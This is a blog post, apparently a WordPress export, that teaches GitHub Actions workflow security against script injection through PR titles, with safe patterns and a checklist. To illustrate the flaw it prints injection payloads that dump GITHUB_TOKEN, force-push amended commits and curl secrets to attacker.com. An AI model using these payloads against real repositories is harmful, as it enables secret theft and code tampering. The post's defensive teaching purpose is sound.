{"id":79,"date":"2025-12-25T12:00:00","date_gmt":"2025-12-25T12:00:00","guid":{"rendered":"https:\/\/rezachegini.com\/?p=79"},"modified":"2026-10-30T06:49:25","modified_gmt":"2026-10-30T06:49:25","slug":"workflow-security-in-github-actions-protecting-against-injection-attacks","status":"publish","type":"post","link":"https:\/\/rezachegini.com\/?p=79","title":{"rendered":"Workflow Security in GitHub Actions: Protecting Against Injection Attacks"},"content":{"rendered":"<p class=\"wp-block-paragraph\">After covering all the features of GitHub Actions, there&#8217;s one critical topic left: security. In this final article, I&#8217;ll show you how to protect your workflows from injection attacks, especially when dealing with untrusted inputs from pull requests.<\/p>\n<h3 class=\"wp-block-heading\">The Problem: Script Injection<\/h3>\n<p class=\"wp-block-paragraph\">When your workflow processes user input &#8211; like PR titles, commit messages, or issue comments &#8211; you&#8217;re dealing with untrusted data. If you&#8217;re not careful, attackers can inject malicious code into your workflow.<\/p>\n<p class=\"wp-block-paragraph\">Let me show you the vulnerable pattern I discovered, then how to fix it.<\/p>\n<h3 class=\"wp-block-heading\">The Unsafe Pattern<\/h3>\n<p class=\"wp-block-paragraph\">Here&#8217;s a workflow that looks innocent but is actually dangerous:<\/p>\n<p class=\"wp-block-paragraph\">File: workflows\/20-workflow-security.yaml<\/p>\n<pre class=\"wp-block-code\"><code>name: 20 - Workflow Security\n\non:\n  pull_request:\n\njobs:\n  unsafe-pr:\n    runs-on: ubuntu-latest\n    steps:\n      - name: Checkout code\n        uses: actions\/checkout@v4\n      \n      - name: Check PR title\n        run: |\n          title=${{ github.event.pull_request.title }}\n          if [[ $title =~ ^feat ]]; then\n          echo \"PR is a feature\"\n          exit 0\n          else\n          echo \"PR is not a feature\"\n          exit 1\n          fi<\/code><\/pre>\n<h3 class=\"wp-block-heading\">Why This Is Dangerous<\/h3>\n<p class=\"wp-block-paragraph\">Look at this line:<\/p>\n<pre class=\"wp-block-code\"><code>title=${{ github.event.pull_request.title }}<\/code><\/pre>\n<p class=\"wp-block-paragraph\">The PR title is inserted directly into the bash script. An attacker can create a PR with this title:<\/p>\n<pre class=\"wp-block-code\"><code>feat: add feature\"; echo \"HACKED\"; echo \"<\/code><\/pre>\n<p class=\"wp-block-paragraph\">When the workflow runs, it becomes:<\/p>\n<pre class=\"wp-block-code\"><code>title=feat: add feature\"; echo \"HACKED\"; echo \"<\/code><\/pre>\n<p class=\"wp-block-paragraph\">The semicolons break out of the string and execute arbitrary commands!<\/p>\n<h3 class=\"wp-block-heading\">Real Attack Example<\/h3>\n<p class=\"wp-block-paragraph\">I tested this in my home lab. With a malicious PR title, an attacker could:<\/p>\n<p class=\"wp-block-paragraph\"><strong>Steal secrets:<\/strong><\/p>\n<pre class=\"wp-block-code\"><code>\"; echo $GITHUB_TOKEN | base64; echo \"<\/code><\/pre>\n<p class=\"wp-block-paragraph\"><strong>Modify code:<\/strong><\/p>\n<pre class=\"wp-block-code\"><code>\"; git config user.name \"attacker\"; git commit --amend --no-edit; git push --force; echo \"<\/code><\/pre>\n<p class=\"wp-block-paragraph\"><strong>Exfiltrate data:<\/strong><\/p>\n<pre class=\"wp-block-code\"><code>\"; curl -X POST https:\/\/attacker.com -d @secrets.txt; echo \"<\/code><\/pre>\n<p class=\"wp-block-paragraph\">This is called script injection or command injection, and it&#8217;s a serious vulnerability.<\/p>\n<h3 class=\"wp-block-heading\">The Safe Pattern: Using Environment Variables<\/h3>\n<p class=\"wp-block-paragraph\">The fix is simple &#8211; use environment variables instead of direct substitution:<\/p>\n<pre class=\"wp-block-code\"><code>jobs:\n  safer-pr:\n    runs-on: ubuntu-latest\n    steps:\n      - name: Checkout code\n        uses: actions\/checkout@v4\n      \n      - name: Check PR title\n        env:\n          TITLE: ${{ github.event.pull_request.title }}\n        run: |\n          if [[ $TITLE =~ ^feat ]]; then\n          echo \"PR is a feature\"\n          exit 0\n          else\n          echo \"PR is not a feature\"\n          exit 1\n          fi<\/code><\/pre>\n<h3 class=\"wp-block-heading\">Why This Is Safe<\/h3>\n<p class=\"wp-block-paragraph\">The key difference:<\/p>\n<pre class=\"wp-block-code\"><code>env:\n  TITLE: ${{ github.event.pull_request.title }}\nrun: |\n  if [[ $TITLE =~ ^feat ]]; then<\/code><\/pre>\n<p class=\"wp-block-paragraph\">Now the PR title is passed as an environment variable $TITLE, not inserted into the script.<\/p>\n<p class=\"wp-block-paragraph\">When an attacker tries the same malicious title:<\/p>\n<pre class=\"wp-block-code\"><code>feat: add feature\"; echo \"HACKED\"; echo \"<\/code><\/pre>\n<p class=\"wp-block-paragraph\">It becomes:<\/p>\n<pre class=\"wp-block-code\"><code>TITLE='feat: add feature\"; echo \"HACKED\"; echo \"'<\/code><\/pre>\n<p class=\"wp-block-paragraph\">The entire string, including quotes and semicolons, is treated as literal text, not executable code.<\/p>\n<h3 class=\"wp-block-heading\">The Technical Reason<\/h3>\n<p class=\"wp-block-paragraph\"><strong>Direct substitution:<\/strong><\/p>\n<ul class=\"wp-block-list\"><li>GitHub replaces ${{ }} during workflow parsing<\/li><li>The result is inserted directly into the script<\/li><li>Bash interprets special characters (quotes, semicolons, backticks)<\/li><\/ul>\n<p class=\"wp-block-paragraph\"><strong>Environment variables:<\/strong><\/p>\n<ul class=\"wp-block-list\"><li>GitHub sets the environment variable before running the script<\/li><li>Bash reads the variable value as a string<\/li><li>Special characters are escaped automatically<\/li><\/ul>\n<h3 class=\"wp-block-heading\">The Safest Pattern: Using Custom Actions<\/h3>\n<p class=\"wp-block-paragraph\">For even better protection, I created a JavaScript action that handles untrusted input safely:<\/p>\n<p class=\"wp-block-paragraph\">File: actions\/security-safe-input\/action.yaml<\/p>\n<pre class=\"wp-block-code\"><code>name: Safe Title Check\ndescription: Safely checks the title of a PR.\n\ninputs:\n  pr-title:\n    description: The PR title\n    required: true\n\nruns:\n  using: node20\n  main: index.js<\/code><\/pre>\n<p class=\"wp-block-paragraph\">File: actions\/security-safe-input\/index.js<\/p>\n<pre class=\"wp-block-code\"><code>const core = require('@actions\/core');\n\nasync function run() {\n  try {\n    const prTitle = core.getInput('pr-title');\n    if (prTitle.startsWith('feat')) {\n      core.info('PR is a feature');\n    } else {\n      core.setFailed('PR is not a feature');\n    }\n  } catch (e) {\n    core.setFailed(e.message);\n  }\n}\n\nrun();<\/code><\/pre>\n<p class=\"wp-block-paragraph\">Using it in the workflow:<\/p>\n<pre class=\"wp-block-code\"><code>jobs:\n  js-safer-pr:\n    runs-on: ubuntu-latest\n    steps:\n      - name: Checkout code\n        uses: actions\/checkout@v4\n      \n      - name: Check PR title\n        uses: .\/.github\/actions\/security-safe-input\n        with:\n          pr-title: ${{ github.event.pull_request.title }}<\/code><\/pre>\n<h3 class=\"wp-block-heading\">Why JavaScript Actions Are Safer<\/h3>\n<p class=\"wp-block-paragraph\">The @actions\/core toolkit automatically:<\/p>\n<ul class=\"wp-block-list\"><li>Escapes special characters in inputs<\/li><li>Prevents command injection<\/li><li>Validates input types<\/li><li>Masks secrets in logs<\/li><\/ul>\n<p class=\"wp-block-paragraph\">When you use core.getInput(&#8216;pr-title&#8217;), the library handles all the dangerous edge cases for you.<\/p>\n<h3 class=\"wp-block-heading\">Understanding the Attack Surface<\/h3>\n<p class=\"wp-block-paragraph\">Not all GitHub context variables are dangerous. Here&#8217;s what I learned:<\/p>\n<h3 class=\"wp-block-heading\">Untrusted Inputs (NEVER use directly in bash)<\/h3>\n<p class=\"wp-block-paragraph\">These come from users and can contain malicious code:<\/p>\n<p class=\"wp-block-paragraph\">Pull Request data:<\/p>\n<ul class=\"wp-block-list\"><li>${{ github.event.pull_request.title }}<\/li><li>${{ github.event.pull_request.body }}<\/li><li>${{ github.event.pull_request.head.ref }} (branch name)<\/li><li>${{ github.event.pull_request.head.label }}<\/li><li>${{ github.event.pull_request.head.repo.full_name }}<\/li><\/ul>\n<p class=\"wp-block-paragraph\">Issue data:<\/p>\n<ul class=\"wp-block-list\"><li>${{ github.event.issue.title }}<\/li><li>${{ github.event.issue.body }}<\/li><\/ul>\n<p class=\"wp-block-paragraph\">Comment data:<\/p>\n<ul class=\"wp-block-list\"><li>${{ github.event.comment.body }}<\/li><\/ul>\n<p class=\"wp-block-paragraph\">Commit data:<\/p>\n<ul class=\"wp-block-list\"><li>${{ github.event.head_commit.message }}<\/li><li>${{ github.event.commits[0].message }}<\/li><\/ul>\n<p class=\"wp-block-paragraph\">Discussion data:<\/p>\n<ul class=\"wp-block-list\"><li>${{ github.event.discussion.title }}<\/li><li>${{ github.event.discussion.body }}<\/li><\/ul>\n<h3 class=\"wp-block-heading\">Trusted Inputs (Safe to use directly)<\/h3>\n<p class=\"wp-block-paragraph\">These come from GitHub and cannot be manipulated:<\/p>\n<ul class=\"wp-block-list\"><li>${{ github.sha }} &#8211; Commit SHA<\/li><li>${{ github.ref }} &#8211; Branch reference<\/li><li>${{ github.repository }} &#8211; Repository name<\/li><li>${{ github.actor }} &#8211; Username (validated by GitHub)<\/li><li>${{ github.run_id }} &#8211; Workflow run ID<\/li><li>${{ github.run_number }} &#8211; Workflow run number<\/li><li>${{ github.workflow }} &#8211; Workflow name (from your file)<\/li><li>${{ github.event_name }} &#8211; Event type<\/li><\/ul>\n<p class=\"wp-block-paragraph\">These are safe because GitHub generates them, not users.<\/p>\n<h3 class=\"wp-block-heading\">Real-World Security Patterns<\/h3>\n<h3 class=\"wp-block-heading\">Pattern 1: Validate Before Use<\/h3>\n<p class=\"wp-block-paragraph\">Even with environment variables, validate the input format:<\/p>\n<pre class=\"wp-block-code\"><code>steps:\n  - name: Validate PR title\n    env:\n      PR_TITLE: ${{ github.event.pull_request.title }}\n    run: |\n      if [[ ! $PR_TITLE =~ ^(feat|fix|docs|chore|refactor): ]]; then\n        echo \"Invalid PR title format\"\n        exit 1\n      fi\n      echo \"PR title is valid\"<\/code><\/pre>\n<p class=\"wp-block-paragraph\">This ensures the title matches your expected format before using it.<\/p>\n<h3 class=\"wp-block-heading\">Pattern 2: Use Actions for Complex Logic<\/h3>\n<p class=\"wp-block-paragraph\">For anything more than simple validation, use JavaScript actions:<\/p>\n<pre class=\"wp-block-code\"><code>const core = require('@actions\/core');\n\nasync function run() {\n  try {\n    const prTitle = core.getInput('pr-title');\n    \n    \/\/ Validate format\n    const validPrefixes = ['feat', 'fix', 'docs', 'chore', 'refactor'];\n    const hasValidPrefix = validPrefixes.some(prefix =&gt; \n      prTitle.startsWith(`${prefix}:`)\n    );\n    \n    if (!hasValidPrefix) {\n      core.setFailed(\n        `PR title must start with one of: ${validPrefixes.join(', ')}`\n      );\n      return;\n    }\n    \n    \/\/ Extract ticket number if present\n    const ticketMatch = prTitle.match(\/\\[([A-Z]+-\\d+)\\]\/);\n    if (ticketMatch) {\n      core.setOutput('ticket-number', ticketMatch[1]);\n    }\n    \n    core.info('PR title is valid');\n  } catch (e) {\n    core.setFailed(e.message);\n  }\n}\n\nrun();<\/code><\/pre>\n<h3 class=\"wp-block-heading\">Pattern 3: Limit Permissions<\/h3>\n<p class=\"wp-block-paragraph\">Use the permissions key to restrict what workflows can do:<\/p>\n<pre class=\"wp-block-code\"><code>name: PR Validation\n\non:\n  pull_request:\n\npermissions:\n  contents: read\n  pull-requests: read\n\njobs:\n  validate:\n    runs-on: ubuntu-latest\n    steps:\n      - uses: actions\/checkout@v4\n      - name: Validate PR\n        env:\n          PR_TITLE: ${{ github.event.pull_request.title }}\n        run: |\n          echo \"Validating: $PR_TITLE\"<\/code><\/pre>\n<p class=\"wp-block-paragraph\">With contents: read, even if an attacker injects code, they can&#8217;t push changes or modify releases.<\/p>\n<h3 class=\"wp-block-heading\">Pattern 4: Use pull_request_target Carefully<\/h3>\n<p class=\"wp-block-paragraph\">There&#8217;s a special trigger called pull_request_target that runs in the context of the base branch, not the PR branch. This is dangerous!<\/p>\n<p class=\"wp-block-paragraph\"><strong>UNSAFE:<\/strong><\/p>\n<pre class=\"wp-block-code\"><code>on:\n  pull_request_target:  # Dangerous!\n\njobs:\n  build:\n    runs-on: ubuntu-latest\n    steps:\n      - uses: actions\/checkout@v4  # Checks out PR code\n      - run: npm install  # Runs attacker's package.json!\n      - run: npm run build<\/code><\/pre>\n<p class=\"wp-block-paragraph\">An attacker can modify package.json to execute malicious code during npm install.<\/p>\n<p class=\"wp-block-paragraph\"><strong>SAFE:<\/strong><\/p>\n<pre class=\"wp-block-code\"><code>on:\n  pull_request_target:\n\njobs:\n  build:\n    runs-on: ubuntu-latest\n    steps:\n      - uses: actions\/checkout@v4\n        with:\n          ref: ${{ github.base_ref }}  # Checkout base branch, not PR!\n      \n      - name: Get PR title safely\n        env:\n          PR_TITLE: ${{ github.event.pull_request.title }}\n        run: |\n          echo \"PR Title: $PR_TITLE\"<\/code><\/pre>\n<p class=\"wp-block-paragraph\">Only check out the base branch code, never the PR code when using pull_request_target.<\/p>\n<h3 class=\"wp-block-heading\">Secrets Management<\/h3>\n<p class=\"wp-block-paragraph\">Secrets need special care in workflows.<\/p>\n<h3 class=\"wp-block-heading\">Never Log Secrets<\/h3>\n<pre class=\"wp-block-code\"><code># UNSAFE!\n- name: Deploy\n  run: |\n    echo \"API Key: ${{ secrets.API_KEY }}\"\n    curl -H \"Authorization: ${{ secrets.API_KEY }}\" ...<\/code><\/pre>\n<p class=\"wp-block-paragraph\">GitHub automatically masks secrets in logs, but explicit echo commands can expose them.<\/p>\n<p class=\"wp-block-paragraph\">Safe pattern:<\/p>\n<pre class=\"wp-block-code\"><code>- name: Deploy\n  env:\n    API_KEY: ${{ secrets.API_KEY }}\n  run: |\n    # Use $API_KEY without echoing it\n    curl -H \"Authorization: $API_KEY\" https:\/\/api.example.com<\/code><\/pre>\n<h3 class=\"wp-block-heading\">Mask Custom Secrets in JavaScript Actions<\/h3>\n<p class=\"wp-block-paragraph\">If you generate secrets dynamically, mask them:<\/p>\n<pre class=\"wp-block-code\"><code>const core = require('@actions\/core');\n\nasync function run() {\n  const apiKey = generateApiKey();\n  \n  \/\/ Mask it before using\n  core.setSecret(apiKey);\n  \n  \/\/ Now safe to use\n  core.setOutput('api-key', apiKey);\n}<\/code><\/pre>\n<h3 class=\"wp-block-heading\">Use Environment-Specific Secrets<\/h3>\n<p class=\"wp-block-paragraph\">Don&#8217;t use the same secrets for staging and production:<\/p>\n<pre class=\"wp-block-code\"><code>jobs:\n  deploy-staging:\n    runs-on: ubuntu-latest\n    environment: staging\n    steps:\n      - name: Deploy\n        env:\n          API_KEY: ${{ secrets.API_KEY }}  # staging API key\n        run: .\/deploy.sh\n\n  deploy-prod:\n    runs-on: ubuntu-latest\n    environment: production\n    steps:\n      - name: Deploy\n        env:\n          API_KEY: ${{ secrets.API_KEY }}  # production API key\n        run: .\/deploy.sh<\/code><\/pre>\n<p class=\"wp-block-paragraph\">Each environment has its own secrets in GitHub Settings.<\/p>\n<h3 class=\"wp-block-heading\">Code Scanning and Dependency Updates<\/h3>\n<p class=\"wp-block-paragraph\">Beyond injection attacks, secure your dependencies too.<\/p>\n<h3 class=\"wp-block-heading\">Enable Dependabot<\/h3>\n<p class=\"wp-block-paragraph\">Create .github\/dependabot.yml:<\/p>\n<pre class=\"wp-block-code\"><code>version: 2\nupdates:\n  - package-ecosystem: \"npm\"\n    directory: \"\/\"\n    schedule:\n      interval: \"weekly\"\n    open-pull-requests-limit: 10\n  \n  - package-ecosystem: \"github-actions\"\n    directory: \"\/\"\n    schedule:\n      interval: \"weekly\"<\/code><\/pre>\n<p class=\"wp-block-paragraph\">This automatically updates:<\/p>\n<ul class=\"wp-block-list\"><li>npm packages<\/li><li>GitHub Actions versions<\/li><\/ul>\n<h3 class=\"wp-block-heading\">Pin Action Versions<\/h3>\n<p class=\"wp-block-paragraph\"><strong>UNSAFE:<\/strong><\/p>\n<pre class=\"wp-block-code\"><code>- uses: actions\/checkout@v4<\/code><\/pre>\n<p class=\"wp-block-paragraph\"><strong>SAFE:<\/strong><\/p>\n<pre class=\"wp-block-code\"><code>- uses: actions\/checkout@b4ffde65f46336ab88eb53be808477a3936bae11  # v4.1.1<\/code><\/pre>\n<p class=\"wp-block-paragraph\">Pin to specific commit SHA to prevent supply chain attacks. If the action is compromised, your workflow still uses the safe version.<\/p>\n<p class=\"wp-block-paragraph\">Use tools like pin-github-action to automate this.<\/p>\n<h3 class=\"wp-block-heading\">OIDC and Cloud Provider Authentication<\/h3>\n<p class=\"wp-block-paragraph\">For cloud deployments, use OIDC instead of long-lived credentials.<\/p>\n<h3 class=\"wp-block-heading\">The Old Way (Unsafe)<\/h3>\n<pre class=\"wp-block-code\"><code>- name: Configure AWS\n  env:\n    AWS_ACCESS_KEY_ID: ${{ secrets.AWS_ACCESS_KEY_ID }}\n    AWS_SECRET_ACCESS_KEY: ${{ secrets.AWS_SECRET_ACCESS_KEY }}\n  run: |\n    aws s3 cp file.txt s3:\/\/bucket\/<\/code><\/pre>\n<p class=\"wp-block-paragraph\">Problems:<\/p>\n<ul class=\"wp-block-list\"><li>Long-lived credentials stored in GitHub<\/li><li>If compromised, attacker has permanent access<\/li><li>No automatic rotation<\/li><\/ul>\n<h3 class=\"wp-block-heading\">The New Way (OIDC)<\/h3>\n<pre class=\"wp-block-code\"><code>permissions:\n  id-token: write\n  contents: read\n\njobs:\n  deploy:\n    runs-on: ubuntu-latest\n    steps:\n      - name: Configure AWS Credentials\n        uses: aws-actions\/configure-aws-credentials@v4\n        with:\n          role-to-assume: arn:aws:iam::123456789012:role\/GitHubActionsRole\n          aws-region: us-east-1\n      \n      - name: Deploy to S3\n        run: |\n          aws s3 cp file.txt s3:\/\/bucket\/<\/code><\/pre>\n<p class=\"wp-block-paragraph\">Benefits:<\/p>\n<ul class=\"wp-block-list\"><li>No credentials stored in GitHub<\/li><li>Temporary credentials (valid for ~1 hour)<\/li><li>Automatic rotation<\/li><li>Can restrict by repository, branch, environment<\/li><\/ul>\n<h3 class=\"wp-block-heading\">What I Learned About Security<\/h3>\n<ol class=\"wp-block-list\"><li><strong>Default to environment variables:<\/strong> Always use env: for untrusted inputs. It&#8217;s free protection.<\/li><li><strong>JavaScript actions are safer than bash:<\/strong> The @actions\/core library handles edge cases I didn&#8217;t even think of.<\/li><li><strong>Validate everything:<\/strong> Even with environment variables, validate format and content.<\/li><li><strong>Least privilege principle:<\/strong> Set permissions: to the minimum needed. Start with read and add write only when necessary.<\/li><li><strong>Never trust PR code with pull_request_target:<\/strong> This trigger is for posting comments, not running PR code.<\/li><li><strong>Pin actions to SHA:<\/strong> Using @v4 is convenient but risky. Pin to commit SHA for production workflows.<\/li><li><strong>Audit your workflows:<\/strong> Use GitHub&#8217;s code scanning to find security issues automatically.<\/li><li><strong>Test malicious inputs:<\/strong> In my home lab, I test with crafted inputs like:<\/li><li><strong>OIDC for cloud access:<\/strong> Never store long-lived cloud credentials in GitHub secrets if you can use OIDC.<\/li><li><strong>Read the security advisories:<\/strong> GitHub publishes security advisories for popular actions. Subscribe to them.<\/li><\/ol>\n<h3 class=\"wp-block-heading\">Security Checklist for Every Workflow<\/h3>\n<p class=\"wp-block-paragraph\">Before deploying a workflow to production, I check:<\/p>\n<ul class=\"wp-block-list\"><li>[ ] All user inputs use environment variables, not direct substitution<\/li><li>[ ] permissions: is set to minimum required<\/li><li>[ ] Actions are pinned to commit SHA, not tags<\/li><li>[ ] Secrets are never echoed or logged<\/li><li>[ ] pull_request_target (if used) only checks out base branch<\/li><li>[ ] Input validation happens before processing<\/li><li>[ ] Cloud credentials use OIDC, not static keys<\/li><li>[ ] Dependabot is enabled for automatic updates<\/li><li>[ ] Code scanning is enabled<\/li><\/ul>\n<h3 class=\"wp-block-heading\">Real-World Example: Secure PR Validation<\/h3>\n<p class=\"wp-block-paragraph\">Here&#8217;s how I combine everything for a production-grade PR validation workflow:<\/p>\n<pre class=\"wp-block-code\"><code>name: Secure PR Validation\n\non:\n  pull_request:\n    types: [opened, synchronize, reopened]\n\npermissions:\n  contents: read\n  pull-requests: write\n  statuses: write\n\njobs:\n  validate-title:\n    runs-on: ubuntu-latest\n    steps:\n      - name: Checkout code\n        uses: actions\/checkout@b4ffde65f46336ab88eb53be808477a3936bae11  # v4.1.1\n      \n      - name: Validate PR title\n        uses: .\/.github\/actions\/security-safe-input\n        with:\n          pr-title: ${{ github.event.pull_request.title }}\n      \n      - name: Comment on PR\n        if: failure()\n        env:\n          PR_NUMBER: ${{ github.event.pull_request.number }}\n          GH_TOKEN: ${{ github.token }}\n        run: |\n          gh pr comment $PR_NUMBER --body \"PR title must follow format: type: description\"\n\n  lint-and-test:\n    runs-on: ubuntu-latest\n    steps:\n      - name: Checkout code\n        uses: actions\/checkout@b4ffde65f46336ab88eb53be808477a3936bae11  # v4.1.1\n      \n      - name: Setup Node\n        uses: actions\/setup-node@60edb5dd545a775178f52524783378180af0d1f8  # v4.0.2\n        with:\n          node-version: '20.x'\n      \n      - name: Install dependencies\n        run: npm ci\n      \n      - name: Run tests\n        run: npm test<\/code><\/pre>\n<p class=\"wp-block-paragraph\">This workflow:<\/p>\n<ul class=\"wp-block-list\"><li>Validates PR title safely with custom action<\/li><li>Uses minimal permissions<\/li><li>Pins actions to commit SHA<\/li><li>Never executes code from the PR<\/li><li>Uses environment variables for GitHub CLI<\/li><\/ul>\n<h3 class=\"wp-block-heading\">Conclusion<\/h3>\n<p class=\"wp-block-paragraph\">Security in GitHub Actions isn&#8217;t optional. One vulnerable workflow can expose your entire repository, secrets, and infrastructure.<\/p>\n<p class=\"wp-block-paragraph\">The good news: most attacks are preventable with simple patterns:<\/p>\n<ol class=\"wp-block-list\"><li>Use environment variables for untrusted inputs<\/li><li>Validate everything<\/li><li>Minimize permissions<\/li><li>Pin action versions<\/li><li>Use OIDC for cloud access<\/li><\/ol>","protected":false},"excerpt":{"rendered":"<p>After covering all the features of GitHub Actions, there&#8217;s one critical topic left: security. In this final article, I&#8217;ll show you how&hellip;<\/p>\n","protected":false},"author":2,"featured_media":81,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_rezaops_part":"7","_rezaops_linkedin_url":"https:\/\/www.linkedin.com\/pulse\/workflow-security-github-actions-protecting-against-attacks-chegini-akbmc\/","footnotes":""},"categories":[27,10],"tags":[30,8,29,38],"series":[28],"class_list":["post-79","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-ci-cd","category-devops","tag-ci-cd","tag-devops","tag-github-actions","tag-security","series-github-actions"],"jetpack_featured_media_url":"https:\/\/rezachegini.com\/wp-content\/uploads\/2026\/10\/workflow-security-github-actions-cover.png","_links":{"self":[{"href":"https:\/\/rezachegini.com\/index.php?rest_route=\/wp\/v2\/posts\/79","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/rezachegini.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/rezachegini.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/rezachegini.com\/index.php?rest_route=\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/rezachegini.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=79"}],"version-history":[{"count":1,"href":"https:\/\/rezachegini.com\/index.php?rest_route=\/wp\/v2\/posts\/79\/revisions"}],"predecessor-version":[{"id":80,"href":"https:\/\/rezachegini.com\/index.php?rest_route=\/wp\/v2\/posts\/79\/revisions\/80"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/rezachegini.com\/index.php?rest_route=\/wp\/v2\/media\/81"}],"wp:attachment":[{"href":"https:\/\/rezachegini.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=79"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/rezachegini.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=79"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/rezachegini.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=79"},{"taxonomy":"series","embeddable":true,"href":"https:\/\/rezachegini.com\/index.php?rest_route=%2Fwp%2Fv2%2Fseries&post=79"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}